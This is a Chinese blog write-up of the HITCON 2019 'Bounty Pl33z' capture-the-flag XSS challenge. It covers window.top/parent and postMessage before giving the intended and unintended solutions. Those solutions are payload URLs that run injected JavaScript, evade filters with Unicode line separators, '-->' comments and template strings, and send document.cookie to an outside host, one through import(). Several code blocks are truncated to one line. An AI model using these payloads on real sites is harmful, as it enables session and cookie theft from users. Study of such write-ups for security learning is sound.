前言
由于最近比较忙,因此没有看hitcon的题目,只能够赛后复现一波。
0x1 前置知识:
在应用有frameset或者iframe的页面时,parent是父窗口,top是最顶级父窗口(有的窗口中套了好几层frameset或者iframe),self是当前窗口, opener是用open方法打开当前窗口的那个窗口。
window.self:
1 | 1.功能:是对当前窗口自身的引用。他和window属性是等价的。 |
window.top:
1 | 功能:返回顶层窗口,即浏览器窗口。 |
window.parent:
1 | 功能:返回父窗口。 |
0x2 window.postMessage
1 | window.postMessage是HTML5中新增的一个API(不能低于IE8),postMessage方法允许来自不同源的脚 |
postMessage(val1,val2):
val1: 传递的信息对象。
val2: 接受信息的窗口源(origin)协议+域名+端口号,如果设置为"*"表示不限制窗口源,向所有窗口源发送。
下面是完整的两个窗口之间的通信。
1 | //a.html |
0x3 Bounty Pl33z
题目给出了源码如下:
1 |
|
0x01 hitcon 2019上xss存在的两个已知问题。
0x02 这是Orange的预期解决方案,使用–>字符。
1 | http://3.114.5.202/fd.php?q=rwx%252ekr?"%2bdocument[`cookie`]%E2%80%A8--> |
0x03 但是,如果在字符串后立即放置–>,则必须将其解释为后缀运算符,并在后缀操作错误中导致无效的左侧表达式。
0x04 常见的空格被过滤掉,但是可以用\u2028,\u2029等代替。
0x05 在JavaScript中可以解释为空格的其他字符是:
0x06 9 - 13, 32, 160, 5760, 8192 - 8202, 8232, 8233, 8239, 8287, 12288, 65279
非预期的解法
1 | http://3.114.5.202/fd.php?q=rwx.kr?`%2b"%2bdocument[`cookie`];(`${` |
我们同样可以用模板字符串来解决。
1 | http://3.114.5.202/fd.php?q=rwx%252ekr%23%60%7D,",(%60,class%20$%7Bx=%60$%7B(import(`http:rwx%252ekr?`%2bdocument[`cookie`]))%7D%7D; |